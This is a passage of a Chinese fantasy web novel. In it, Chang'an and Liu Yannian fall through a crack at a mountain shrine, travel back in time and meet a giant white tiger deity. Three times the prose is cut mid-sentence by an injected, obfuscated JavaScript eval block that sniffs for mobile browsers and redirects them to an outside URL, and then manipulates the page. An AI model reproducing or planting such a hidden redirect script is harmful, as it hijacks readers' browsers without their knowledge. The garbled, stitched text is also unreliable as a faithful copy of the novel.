人生最幸福的事,莫过于和一群志同道合的心意相通的朋友,一起在日落时分,享受美味了。 平安和郑清坐在巨树横枝上,卿卿我我,腻腻歪歪。 树下,堂邑夫坐在花铁铁不远不近的地方,痴痴看着花铁铁傻笑。花铁铁一门心思都在降龙上,对我说伏虎任务,她是跟着,但不参加,只陪伴,最多帮帮忙打打下手,她要保存实力,全心全力降龙。 当时我和柳延年正在巨树的另一侧,观摩小神庙,懒懒地回应了花铁铁一下。让她跟着玩就行,帮我照顾好妹妹,最多敲敲边鼓摇旗助威,没什么好打下手的。 小庙藏得太深,柳延年取来一根火把,帮我照亮,我们一起轻轻去除小神庙上的青苔,一座做工精巧的白玉石小神庙就出现在眼前,庙门紧闭,也不知供奉的是哪路神仙。 柳延年想要开启巴掌大的庙门看一看里面,我忙阻拦,“这小庙年代太久,几十上百年都不曾开启,若是贸然打开,定有损毁,最好保留原样,咱们还是别好奇害死猫了。” 说着我拉回柳延年的手,正要起身,我脖子上挂着的狐心舍利,绳结竟然莫名松开,直直掉了下来,正好砸在小神庙前的供台上。 我旋即蹙眉捡起狐心舍利,心中暗暗有不好的感觉,又想着应该是自己敏感了,这种心理,多半就像那些弹琴断弦,上香断香一样,觉得触了霉头,便有诸事不利,不敢作为的境况。 可不过是琴弦绷的太紧,香受潮了而已。我这狐心舍利的绳结松了,许是之前在汤泉宫日日沐浴,浸泡所致。 我这样宽慰着自己,把狐心舍利戴回脖子上,将绳结重新系牢,挂好。 柳延年疑惑地咦了一声,侧目细细看着小神庙,呆呆地出神,我一边忙着手上的动作,一边问他看什么呢。 他回过神来说,可能是眼花了吧,刚才看见供台上,好像开了一道大裂缝又瞬间合上了……你的红宝石坠子没摔坏吧?我好像看见,掉了一片微小碎屑,被缝隙吞了…… 我赶紧看了看狐心舍利,确定并无缺损,又扫了一眼供台,没发现什么大裂缝,只有玉石风化的纹路而已。 我整理着衣襟,只道有裂缝也正常,这小庙都多少年了,风吹雨打,寒来暑往,玉石风化开裂太正常了。 太阳下山了,我们也要向今日作别,余辉中,柳延年一曲《浮光》,响彻整个丛林,直入云霄,直击心灵…… 山中无事,入夜无非也就是早些洗洗睡下,六人躺在帐篷里,翻来覆去…… 我们行了一天的路,眼下却精神百倍,毫无睡意,索性起来,围着篝火,歌舞升平。 柳延年吹萧和平安歌唱,我们跳着柳延年和平安前几天,教我们的新式舞蹈,堂邑夫跳得最是骚浪,简直完美复刻柳延年。郑清有些拘谨,跳的一板一眼很是认真。 我和花铁铁一大一小,动作整齐划一,倒也十分具有观赏性。平安也加入我们,一起舞蹈,大家欢声笑语,好不快乐。 忽见不远处的丛林中,有金光闪现,于是六人便轻装上阵,向着金光行去。 58. 山君祠 那金光从中心向外发散,像一颗一颗闪着金光的小星星,犹如飞舞的萤光虫一般飘散开来,离金光中心越近,小星星堆聚的越多,最后像下雪一样,扬扬洒洒,却一点儿也不刺眼。 被如此美丽的星光包围,这让我们心情很是愉悦,尤其平安,开心的在金光之中蹦蹦跳跳,旋转舞蹈,宛若仙子。 可当我们踏入金光之中,周围瞬间暗了下来,映入眼帘是苔痕斑驳的拾阶,皓月当空,一切被笼罩在如水般皎洁的月光中。 我们拾阶而上,不知走了多久,经过一道破败倾倒的山门牌坊,又往上走了不知多久,抬头便见陈旧残缺却依然矗立的棂星门。 老唐时期的庙宇前,都有棂星门,传说起到天门的作用,是神界与凡界的交界线。 大乱战以后,已经看不到这么完整的老唐神庙了,更别说是这还能得看出原貌的棂星门了。 在这深山之中,能得见古迹,也不虚此行。 踏过棂星门,便是神庙,庄严肃穆! 却见殿前,各路高手跪了一地,正席地盘坐,双手合十,双目紧闭,虔诚祈祷。 我们上前询问,也没人回答,便不好再过叨扰,打断人家祈愿。 堂邑夫穿过人群,去前面观望回来,道是一座年久失修的山君祠。 这些人正在向山君请愿!?我们不明所以,不解地你看看我,我看看你。 “山君祠,这些人跪拜山君?什么情况,不是上山来俘获山君的吗,这怎么还跪拜祈祷上了?”柳延年疑惑地问。 “管他呢!山君祠是山君祠,山君是山君,来来来,咱们也加入,跪拜山君祈求山君保佑咱们不落人后后来居上俘获山君,凯旋而归。”花铁铁拉着我们一起跪下。 花铁铁最是争强好胜,连拜神这种事,也不敢示弱。 平安有些不可置信地问:“跪拜山君,请求山君,保佑咱们俘获山君,是不是,有点不太对路吧?” “有什么不对路?这个山君祠,一看就几十上百年了,里面那个山君怕是都已经修成正果度化成仙了,和眼下在山中游荡,祸害乡里的山君,根本就不是一路的,刚才咱们也看到这处山君祠虽然荒废多年,但依旧被金光笼罩,说明此地不是凡境,你刚才在巨树下的小神庙都虔诚祈祷,那你更该在此处虔诚祈祷,会更加得偿所愿,赶紧的吧赶紧,闭眼,祈祷,快快快!”花铁铁催促平安道。 “对对对,赶紧祈祷吧,也别管山君是哪个了,只要是个神明,咱们跟着拜就对了。快快快,赶紧拜,这么多人祈祷,咱们还来的最晚,排到最后,快别犹豫浪费时间了,神明处理愿望也是分先来后到的,这些人都这么虔诚,咱们还不快点,等轮到咱们的时候,岂不是要猴年马月了?”堂邑夫附和道,说完他就悄咪咪和我换了位置,凑到已经祈祷的花铁铁身边,闭目参拜,虔诚祷告。 “嗯,说得对,有道理。”平安想了想,点点头,拉着郑清,道:“清哥哥咱们一起吧,我求姻缘美满,家庭幸福,子孙满堂,你求功名利禄,仕途顺畅,阖家健康!”说完见郑清点头答应,便欢喜地与郑清一道双手合十,祈祷跪拜。 而我此时已经把愿望都说了不知多少遍了:“山君大人保佑我得到山君的虎鞭,山君大人保佑我得到山君的虎鞭,山君大人保佑我……” 柳延年忍不住笑道:“长安,你跪那儿,还真像个虔诚的小猴儿,不过你这愿望也太……” 你小猴儿,你们全家都小猴儿,嗯?我愿望怎么了?“太什么?”我不由得睁开眼,侧仰着头看着男扮女装,漂亮却魁梧的柳延年,好奇地问。 “太直接了吧!有些冒犯吧!”柳延年抽了抽嘴角道。 “直接,冒犯?愿望不就得直接说嘛?难道要拐着弯儿说,让神明自己猜啊,万一猜的不合我心意怎么办?神明都很忙的,猜错了,也不会再回头猜的,天下请愿的人那么多,实现愿望的机会也不是人人都轮得上的,万一轮到咱们了,咱们还不直截了当的说清楚愿望,还叫神明猜,神明都烦死了,那才是真正的不敬和冒犯。” 说完,我看着前头跪着这么多人,各个都无比虔诚,顿时觉得,得走走后门。于是侧头对堂邑夫道:“堂邑夫,你待会把身上的钱财全都供奉上去,请神明给咱们插个队哈。” 堂邑夫已然入定一般,并不回答,我只当他是默认。然后又开始虔诚祷告:“山君保佑我得到山君大人的虎鞭,山君保佑我得到山君大人的虎鞭……” “山君大人!?”柳延年探头过来向我确认道:“长安你的愿望没许错吧!” “没有,我目前就这一个愿望,不会错的!滚,别打扰我,山君保佑我得到山君大人的虎鞭,山君保佑……”我有些不耐烦,不再理他,继续虔诚祈祷。 柳延年又抽了抽嘴角,还是没忍住,小心翼翼道:“那个,长安,我看你要不还是退而求其次吧,虎鞭那东西,山君大人也就只有一根,你给人留着吧,还是要虎蛋吧,虎蛋有两个,你要一个,山君大人也不为难,也愿意给,这个愿望应该比较好实现些。” “什么一个俩儿的,你以为我就光要那根棍棍啊,也太小瞧我了,我要的虎鞭,当然是又有棍棍,又有蛋蛋,一整套的那种……”说完,我叫柳延年闭嘴,赶紧虔诚祈祷。“山君保佑我得到山君大人的虎鞭,一整套的那种,山君保佑我得到山君大人的虎鞭,一整套的那种……” 忽然,柳延年惊叫了一声,跌坐在地上,我睁开眼睛去扶他,看着满头大汗,惊魂未定的柳延年,问道:“你怎么了?” 柳延年像是被吓破了胆一样,身体抖如筛糠,喘着粗气,擦着脸上脖子上豆大的汗水,虚弱地坐在地上,扶着我,环视四周,如惊弓之鸟一样,怯怯地道:“我,我,刚才我看见一个巨大无比的老虎,个头都快赶上大象了……” 柳延年颤颤巍巍地说着,怕我不信,伸直胳膊比了一个大圈,夸张地形容着老虎的巨大,“头比磨盘还大,围着咱俩打转,脸都凑咱们鼻尖上了,它好像很愤怒的样子,鼻子和嘴角一直在不停的抽搐,应该是咱们的交流,不不不,应该是你的愿望冒犯了山君大人,山君大人震怒了。” “你说什么胡话?什么乱七八糟的!”老虎的头怎么可能这么大,大傻子癔症了吧? 我看了看周围,道:“老虎在哪?别说和大象一样的老虎了,连个虎毛我也没看见啊?咱们特么赶了一天的路,就看着几个老虎脚印,闻到一些老虎尿骚味,哪来的巨大无比的老虎,别自己吓自己了。” 身边的其他四人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822522|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依旧虔诚无比的祷告着,对我们置若罔闻,浑然不觉。 柳延年心中害怕,不敢再继续闭上眼睛祈祷,我就带着他四处走动察看。我们绕过人群,走到供台前。 柳延年感叹这些人还真是虔诚,这么一大会儿了,居然一个离开的都没有,简直跟入定一样。 我飞身站在供台上,居高临下,环顾四周,觉得有些不对路,还未开口,只听柳延年看着供台,惊道:“这……这条裂缝,怎么有点像……” 不等他说完,我只觉脚下一空,供台竟开裂出一个巨大的口子。 我身体随即向后倒去,正要运功飞身而起,就见柳延年一脸担忧地大叫着我的名字,伸手过来拉我,却一个不稳,结结实实地砸在我身上…… 只听得平安花铁铁堂邑夫和郑清惊叫的声音,不等回应,我和柳延年便重重摔在地上,被黑暗包围。 柳延年当场晕死过去,我被柳延年压的背过气去,一口气没上来,忽然的窒息感,让我难受极了,竟也慢慢昏了过去。 我擦,这是什么地方,在这种地方晕死过去,会不会有危险啊!这个柳延年,成事不足败事有余,多余救我,我虽是个玄止境,可轻功再好,也得借力,怎经得住他这么拖累?他不画蛇添足,这会儿我们都安全在地面待着呢?柳延年啊,柳延年,你叫我说你什么好? 这个大口子深不深啊,空气应该不够用,好憋啊,好难受啊,不行了,不行了,要晕了要晕了,这种大深坑,空气稀薄,这特么要是晕过去了,就特么永远晕过去了,花铁铁堂邑夫,你们赶紧下来把我们弄上去哈…… 然后我就彻底没了知觉…… 不知过了多久,我慢慢恢复意识,睁开眼,皓月当空……我草,什么情况,居然皓月当空,我们不是掉进裂缝里了吗?怎么……哦,一定是花铁铁堂邑夫他们给我们就出来了!不错不错,很不错,果然没让我失望! 嗯?不对!我们并没有获救,我身上是…… 柳延年,还在我身上昏睡着,我感觉五体四肢都被柳延年压的不走血了,麻木得很。运气调息,将柳延年推开,看了看四周情形,按下心中疑惑,轻轻拍着柳延年的脸颊,试图将他唤醒。 可他却睡得和死猪一样,无论我怎么摇晃都不醒来,我只能作罢。 我转了一圈回来,看着地上的柳延年越想越气,踢了他一脚,道:“你特么跟着下来,能起到什么作用?” “主打一个陪伴,算一个作用不?”柳延年缓缓地睁开眼睛,茫然四顾,问:“这里是哪里?” “不知道!”我抬头往上看,“我也正纳闷呢,咱们不是掉进裂缝里了吗?可是你抬头看上面也没有缝隙,周围还都是灌木丛。” “咱们往下掉的时候是不是翻滚下来的?”柳延年的意思是我们掉进裂缝之下的地洞,然后翻滚出来,到了这里。 “不可能,我记得你是直直砸下来的,而且你看都是平地,根本没有山崖陡坡!”翻滚个屁啊。我心中腹诽。 “这就奇了怪了……难道这是另一个世界,咱们那个世界相当于这个世界的天,那道裂缝就好比这里的天开了个口子,咱们相当与是从天而降到这个世界?”柳延年站起身来,拍着身上的尘土,仰头看着上空,猜测道。 59. 穿越 一个世界,另一个世界?我对柳延年的猜测,并不是特别懂,但若是不懂就问,大概又会助长他天生的优越感,于是我依照惯例,在他面前,不懂装懂! “你这个比喻倒是新奇却也恰当。”我点点头,道:“这么说,那道裂缝现在是重新合上了,咱们想出去,得找别的出路了。啧,你说你跟着下来干什么,我有功夫的,你不拉我那一下,裂缝合上前,我一个飞身就上去了,哪有现在这些乌七八糟的事!哼!”我埋怨着柳延年。 “我,我也不知道,就看见你往下掉,我就没想那么多,就奋不顾身……唉,对不起,是我没本事,就会添麻烦。”柳延年很是自责,低着头道:“可是,你终究叫我一声大哥,我……我就算没本事,又哪能眼睁睁看着你掉下去,无动于衷,不管,不管你有多大本事,你都叫我一声大哥不是,我,我没想添乱,我就只想着救你……” 柳延年红着眼圈,有些哽咽,我的鼻头也一酸,“我也,我也没想要责备你,也没嫌弃你没本事,那般埋怨你,是因为心疼你跟着一起遭罪,从那么高的地方掉下来,你可有摔到哪里?”我关切问,围着他打转转,详细察看。 柳延年匆忙胡乱擦了把眼泪,摇摇头道:“没,没摔到,谢,谢谢。”说完,竟泪奔不止,背过身去,掩面啜泣。 “谢什么?”我抬头看了看柳延年,旋即明白,他是谢谢我的关心。 想想他也挺可怜的,除了平安,几乎很少受到别人情真意切的关心。 我牵起他的手,往前走了几步,仰头软软糯糯,奶声奶气地对他道:“大哥,别哭了,我累了,你抱着我走吧。” 柳延年一听,竟有一些破涕而笑,哎了一声,将我紧紧抱在怀中,我一手拦着他的肩头,一手用帕子给他擦拭泪水。 他大步朝前,在林间徐行,我视野高了也宽了,却依旧看不出这是哪里。到了一处悬崖边,看见不远处又有一处金光闪现。 山君祠? 我与柳延年对视一眼,这又是什么情况,我们怎么从山君祠,瞬间来到这么远的地方了?话不多说我们朝着金光的方向一路前行。得赶紧和平安她们汇合,别让他们着急。 经过那棵我们露营的巨树,远远看着,只觉巨树仿佛细了很多,树头也小了不少。柳延年觉得应该是相隔距离比较远的缘故。我也赞同,毕竟,“见山跑死马,这山中路途,往往看着很近,其实很远。” 说完,我看了看远处的金光,思量了一下,从柳延年身上下来,道:“我用轻功带你飞,你闭气,不要言语,一会儿飞行过程中,不管是害怕还是兴奋,都不要张嘴,就算呼吸不畅,也坚持努力用鼻子呼吸,不然在高空中呛风炸了肺就麻烦了,明白了吗?” 柳延年,一听要带他飞,果然兴奋,听我这样细心嘱托,立即抿紧嘴巴点点头,我揽着他的窄腰,让他紧紧环住我的肩头,然后运气一个飞身而起,在丛林树头上,快速飞行略过。 转眼就到了山君祠第一道山门牌坊前,柳延年一落地,就一边喘着粗气,一边忍不住兴奋地哦吼乱叫。 我抬头看着牌坊,敏锐地发现不对,机警地道:“大哥,你看这牌坊是新的!” 柳延年闻言定睛一看,“我擦,果然是新的,哇哇哇,地上,地上,长安你快看地上台阶也是新的,青苔都不见了……这是,这是怎么回事?”柳延年指着地面的手,不住的颤抖,人也腿软,差点坐到地上。 “难道咱们来错地方了,这山中有两座山君祠,刚才的那座是老的,这座是新的?”我蹙眉疑惑不已,一手抱臂,一手托着下巴沉思,看了看巨树的方位,摇摇头道:“不,山君祠只有一座,那这是怎么回事!?” “会不会是……”柳延年忽然十分认真地看着我,道:“我们穿越了!” “穿越!”就是你和平安魂穿梦穿的那个穿越? “对,穿越,我们应该是穿越到山君祠刚刚建成的时候了。”柳延年道。 “那咱们是什么穿?” “应该是真身穿!”柳延年道:“之前那个供台突然出现的大口子,应该就是时空裂缝,咱们是掉进时空裂缝,直接真身穿越了。” 供台?裂缝?我脑子里忽然闪过什么,不等我细细琢磨,台阶上忽然走下来一个身材婀娜,美目盼兮的曼妙女子。 那女子笑意盈盈,挑着灯笼,拾阶而下,翩翩而至,来到我们面前,福了福身子,对我们道:“我家神君有请,两位随我来吧。” 我和柳延年对视一眼,随即跟上。 柳延年问道:“冒昧问一下,你家神君是哪位?我二人也好清楚,免得冒犯。” “冒犯都已经冒犯过了,你们随我来就知道了。”那女子呵呵一笑,侧头看了我一眼。 “冒犯都已经冒犯过了?!这是什么意思?”我觉得不妙,便顿住脚步不走了。 且不说我与她家神君见没见过,何曾见过,何地见过,有何瓜葛,只说这已经冒犯过了,便是人已经被我得罪完了的意思。我都已经把人得罪了,还要上赶着送上门去让人报复解恨吗? 这里蹊跷,这女人也蹊跷,哪哪都蹊跷,都透着诡异! 柳延年也停下来,握住我的小手,微微挡在我身前护住我。 “还真是可爱得紧呢!”那女子转身捂着嘴巴,呵呵笑了笑,又道:“怎么,这就怕了?怕就回吧!” 说完她就浅浅笑着,拾阶而上,速度之快,如履平地,不等我们回神,她已不见了踪影,须臾,她提着的那盏摇曳的小灯,也消失在夜色中。 “咱们还继续吗?”柳延年问道。 “没见人家用了激将法吗?”我道。 “哦!”柳延年点点头,然后牵着我欲抬步上阶。 我蹙着眉头,“嘶”了一下,斜眼瞪着他,娇嗔道:“傻子,人家都用激将法了,咱们还跟着去,不就中计了吗?前头要是没啥猫腻,她用激将法干啥,这里十分诡异,在人家的地盘上,咱们什么门路都摸不清,承认自己怕了也不丢人。” 柳延年觉得我说得甚是有理,道:“那咱们现在干啥?” “不急,就在这等吧。” “等什么?” “等天亮。”我拉着柳延年坐在台阶上,“咱们人生地不熟,大晚上也不好行事,一切等天亮再说吧。” 虽然此时月上中天,但夏季夜短,估摸着还有一个半时辰就能天明了,等天光大亮,一切好说。 我和柳延年就坐在台阶上闲聊,他说刚才那个女的,应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823193|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是人,我说是什么都无所谓,等天亮,什么妖魔鬼怪都无处遁形。这就是我为什么一定要等天亮的原因,我也不觉得刚才那个女的是人。 柳延年怯怯地环顾四周,我问他后悔跟着下来吗?他坚定到摇摇头,说不后悔。 我看着他紧咬着后槽牙,轻轻叹了口气。 “大哥,咱们都是一家人,你作为大哥想要保护一家人的心情我很理解,但是咱们这个大家庭,很特殊,尤其我和堂邑夫花铁铁,我们都是出生入死惯了的,脑袋别在裤腰上,随时准备下黄泉,我们惜命爱命,努力活着,但向来看淡生死。这种心境,不经一番磨砺是没法有的,同样的境遇,你和我的感受是不同的,你现在很害怕对吗?都要怕死了,对吗?” 我顿了顿,看着柳延年俊美的面庞,不等他嘴硬否认,就接着道:“你要记住,以后有危险,不要往前冲,要赶紧跑,要好好保护自己,要是我们死了,说明情况太危险,你能逃就逃,逃得远远地,不要再做无谓的牺牲,凭白搭上自己的性命。 记住,我们是一家人,我们是很特别的一家人,我们可以有福同享有难同当,但决不能一起赴死,不管谁死了,其他人都要好好活下去,替死了的人好好活下去,好好过生活,连同死了的人的那份人生一起。 我始终坚信,只要活着的人还记的死去的人,替死去的人好好活下去,那么死去的人就还活着,明白吗?这样才是真正的相扶相持不辜负!” “明白!我明白的,长安。”柳延年笑了笑,道:“可是长安,我还是很庆幸,跟着你下来了,真的很庆幸,这样起码你不孤单,有人陪着总是好的,不是吗?孤单的滋味不好受,我懂…… 我来到你们这个世界太久了,孤独的也太久了,好不容意有了相亲相爱的一家人,有了就算没本事,也拼死想要守护人,真的好珍惜。所以危险来临时,我一点儿也没想着退缩,就这么直直的冲上来,跟着你掉下来了。 你说的,我都懂,以后,我会注意,我会好好保护自己,让你们没有后顾之忧,我会好好活下去,活得有声有色,活得光芒四射,活得潇洒快活……可是除非,除非我忍不住奋不顾身……” “傻瓜!大傻瓜!”我手臂支在双膝上,双手托着下巴,看着中天之月。 “只是我有一点不明白,你为什么选花铁铁做朋友做家人?她总是欺负你,还有我,堂邑夫,连平安都有被她强制过,她还看不起郑清的出身,她实在,实在是……”柳延年知道我和花铁铁的关系,觉得不好在我面前把花铁铁说的一无是处,背地里说人坏话,也不是君子所为,便支吾起来。 “她实在是缺点太多了,多得就像天上的星星一样,数也数不清。”我接着柳延年的话说道:“她的优点……几乎没有,少得可怜,勉强算有一个吧!” “那你还……”柳延年疑惑地问。 “她优点啊,虽然只有一个,但却和太阳一样大,一样光亮,太阳一出来,星星就看不见了啊。”我一边说着一边伸开胳膊,画了一个大大太阳。 柳延年显然被我的话震撼到,呆愣了一下,茫然地问:“她,她什么优点?” 她什么优点?!啧! 她的优点就是……啊就是……那个……就是…… 60. 冒犯 我说花铁铁的优点像太阳一样,原本是随口道来应付柳延年的,以前没人问这个问题,我也从来没仔细想过,眼下话赶话说到这里,真要问花铁铁的优点是什么,我其实也得现找。 我清了清嗓子,“我和花铁铁其实以前一直是对手来的,她才刚刚开始学着和我做好朋友,有些生疏是很正常的,虽然她总是忍不住欺负我,可是她爱我啊,对,她爱我,她其实很爱我,她爱我对我来说就是她最大的优点啊。 我相信,如果咱们死在这里出不去了,她一定会帮我好好照顾平安和堂邑夫的。我未尽的事业和远大的抱负,她只要活着就一定能帮我实现,我未走完的路,没过完的人生,就算我死了,她也一定会帮我走完,然后连同我的那份人生一起好好活下去。什么是生死与共,这就是啊。” 我起身对着月亮,坚定道:“肝胆相照,说得就是我们啦。有她花铁铁在,我没有后顾之忧,我不怕死,她就是我可托付所有之人,有她替我活着,便是今日死在这里,又何妨?” 柳延年听了我的这番话震动不已,他深深地看着我,美丽的眸子慢慢睁大,深邃的瞳孔不住的颤抖,心灵似乎受到巨大的冲击,嘴巴张了张,却始终说不出话来。 我呵呵笑了笑,伸出小手抚上他的脸颊,手下感受到他胡青的扎刺的熟悉感,不禁摩挲起来。 许是从来没感受过这种亲密的动作,柳延年惊得回过神来,稍稍躲开,似乎怕这种退避的举动,惹得我误会,又赶紧撤回来,任我摩挲。 我笑了笑,轻声道:“大哥,堂邑夫的胡子长得也和你一样这般快,一天不刮就很扎手。”有些想念堂邑夫了,好吧,就算不怕死,但人总会有留念。 柳延年噗嗤一下,笑了起来,眼里却满含热泪。“扎手你还摸?”他虽这样说着,却把我的小手按在他的脸颊上,似乎很贪恋我掌心的温度。 “我听说一个人会死三次,第一次是停止呼吸,失去心跳,肉~体上的死亡,第二次是葬礼结束,亲友告别,宣布在人间的死亡,第三次死亡,是最后一个人记得你的人,把你忘记,那么你将彻底从这个世界消失……如果我死了……会不会有人……记得我……”柳延年很是恐惧。 “会的会的,不光记得,也会有人连同你的那一份儿人生好好活的,带我们去看山,去看水,看春花夏雨,看秋叶冬雪,看世间万物……会永远记得我们,直到生命的最后一刻……”我拭去柳延年眼角的泪水,柔声说道。 柳延年将我抱在怀里,下巴抵在我的头上,泣不成声,道:“长安,长安,谢谢你,谢谢你……” 他的胡青扎得我头皮痒痒的,我呵呵笑着仰头看他,软软糯糯道:“大哥,都是一家人,别老是谢啊谢的。” 我撇了一眼月亮,蹙眉道:“咦,大哥,你有没有觉得,这个月亮好像一直居于中天之上?” “好,好像是……”柳延年看了看月亮,眼睛一转,也意识到问题的严重性,道:“那也就是说,这里的时间……” “是静止的?!”我拧着眉头,严肃道。 柳延年看着我却忽然笑了。 我很是不解地回看着他,时间静止对我们来说可不是好事,有什么好笑的? 柳延年伸手摩挲着我的一字连环眉,温柔道:“长安你好可爱。” “天爷啊,我都要丑死了,你还说可爱,你和花铁铁一个眼光!?”我白了他一眼,回头看了看石阶,道:“哎,这地方果然蹊跷,这是敬酒不吃就给罚酒吃,待会儿还指不定有什么等着咱们的呢。我看咱们还是起身赶紧上吧,这是人家的地盘,刚才人家请咱们来着,咱们不去登门拜访,惹恼了人家,对咱们没啥好处。” 柳延年点点头,道:“嗯,刚才那姑娘说,咱们先前已经冒犯过她家神君了,虽然不知道怎么冒犯的,但礼多人不怪,一会儿咱们见着人,跪下就拜,求他宽恕,赶紧放咱们回去。” 柳延年好不容易有了相亲相爱的一家人,有了不错的事业,有了可观的收入,有了地位有了人脉,可不想再在一个新的世界重新开始了。 我们一边往上走,一边闲聊,忽然我发现,这里的时间不再静止,而是随着我们前行的步伐,时间也在慢慢流走。 等我们来到山君祠前,天色已然大亮。 刚才那位姑娘,正站在棂星门前等我们,见我们来了,转身就走,又不见了踪影。 过了棂星门,我看着焕然一新的山君祠,哦不,应该说是刚刚建成,最最崭新的山君祠。看着它原本高大宏伟的建制,富丽堂皇的模样,不禁叹为观止,“对嘛,这才是神庙该有的样子。” “我们果然穿越到山君祠刚建成的时候了。”柳延年表情凝重。 天色大亮,一切都清晰了然,柳延年指着远方,道:“长安,你看那颗巨树,果然是细了很多,照这样算,这个时代离咱们那个时代起码隔了五十年往上。对了,建庙宇都有碑刻铭文,我去找找看。” “找那个干什么?别忙活了,不管相差多少年,神君不放咱们,咱们也回不去。咱们也不能指望靠活,活到原来的年代,那样咱们都七老八十了,跟平安她们汇合的时候,一激动死了,有什么用?”我看着山君祠的牌匾,山君祠里的神君还能有谁啊,肯定就是山君啊,我能冒犯山君什么啊,无非就是许了个虔诚的愿呗。 我拉着柳延年跪下,道:“我知道怎么冒犯的神君了,我昨晚在山君庙前许愿要山君的一整套虎鞭,怕是山君祠里供奉的神君误会了,还以为我要的是他的虎鞭呢,所以把我召唤来赎罪来了,你跟着一起来,应该有两种情况,一个是你自愿救我跟着误闯进来的,二个是我许愿的时候你跟着打岔乱出主意来着,也算冒犯。对了,你不是说你看见一个巨大的老虎吗?那应该就是神君的元神,当时给咱俩气得都现身了。” “可……也许,神君没误会……” 不等柳延年说完,我已对着山君祠叩拜,诚心解释:“神君大人在上,且听小人解释,小人许愿要的是为祸乡里的山君虎鞭,不是要神君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826467|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,神君大人修行深厚,这么多年过去了,怕是早就修成正果,肉身成圣,飞升上界,小人再大的胆子也不敢要您的虎鞭啊。还请神君解除误会,早日送我二人回去。” 说罢,一个头扎扎实实地磕在地上,给刘景磕头我都没这么扎实过。柳延年也跟着跪拜磕头。 忽然不知怎得,竟起心动念:这神君已然修成正果,自不必繁衍后代,怕是清心寡欲,不近女色,那他的家伙事儿,也用不上了,用不上还带在身上那多浪费,不如物尽其用,啊哈哈……要是能得神君一整套虎鞭给我家天子补身子,那我家天子得多带劲儿,啊哈哈哈…… “我滴个天我滴个天,长安,长安,你不要命啦,快打住吧,嘘嘘嘘,快打住,神君的家伙事儿,你也敢打主意,你不要命啦……怎么办怎么办……”柳延年很匆忙很惊慌的样子,附身跪在地上也不看我,只顾嘟囔。 “嗯?……”他在干什么? “我在干什么?我还要问你在干什么呢?你小点声不行吗?你胡说八道的声儿,都大得振聋发聩啦……”柳延年慌得不行,卑服的,五体投地的,小鸡啄米般的叩拜着,嘴里不停地碎碎念:“神君莫怪,神君莫怪,小孩子不懂事,瞎胡闹的,神君莫怪,神君莫怪……长安你还愣着干什么,快别傻愣着了,胡说八道完了,就赶紧磕头认错啊,唉妈呀哎妈呀,死了死了死定了,这回可真没法说是误会了……嘤嘤嘤……神君莫怪,神君莫怪啊……” 还得是大哥,这么虔诚,我看神君一定会放过我们啦!嗯……那个……振聋发聩?大哥,你是想说震耳欲聋吧! 我心中浮现这些话,然后耳边竟然同时响起我的声音,声音之大,响若洪钟! 我惊觉不已,什么情况?出幻觉了? 我倒吸了一口凉气,捂着嘴巴,瞪着眼睛,茫然四顾,完全搞不清状况。 不等我疑惑完,山君祠的殿门忽然大开,一阵风席卷而来,我只觉两眼一黑,便啥也不知道了。 我清楚的记得那次昏厥得特别突然,从清醒到昏迷,就瞬间的事,连一贯的昏前感想,我都没来得及发。 不知过了多久,我缓缓醒来,看到眼前景象,不禁大惊,倒吸着一口凉气吊在胸口,想继续装死,却怎么也昏不过去了,只能感叹一句:我草,柳延年说得果然没错,真的是和大象一样大的白色老虎…… 且顾不上我的心声再次响起,却见那只白色巨虎,居高临下看着我,因为我太小的缘故,它两只眼正面看着我,有点儿斗鸡眼,于是它侧着头,用一只眼看我。我只觉那眼睛比我的头都大…… 老虎活到十八岁至二十四岁,就毛发皆白,是为吊睛白额,再往后便是山君,也没人告诉我山君个头儿这么大啊…… ……嘤嘤嘤……这特么是山君吗?“……这特么是玄坛吧!”我看着眼前巨大的白虎,瑟瑟发抖,带着哭腔道。 果然,除了我的鬼门,其他人提供的情报都特么有误!!!早知是玄坛,我死也不会来!花铁铁误我!!! 61. 缔约 “玄坛”二字一出,那白虎瞬间便大了一圈儿。 我吓得一怔,我胆子其实很小,平时也就是仗着自己是个玄止境,武艺超绝,虚张声势而已。遇上大神,就原形毕露,这会儿汗水湿透了衣衫,小小的身子缩成一团,我擦,什么情况,转眼功夫比大象还大了,嘤嘤嘤:“这特么不会是开垣吧!” 随即,那白虎应声又又大了一圈儿! 不是吧不是吧,难道是霸州?“居然是霸州!”我抖如筛糠,试探性地确定道。 接着,白虎又又又大了一圈儿! 有多大呢,这么说吧,单单是这白虎的一根胡须,都可以拿来做长鞭,比之花铁铁的锁子鞭也毫不逊色。我吓得绷不住,仰头大哭,要死了要死了,“这特么根本是无乾!!” 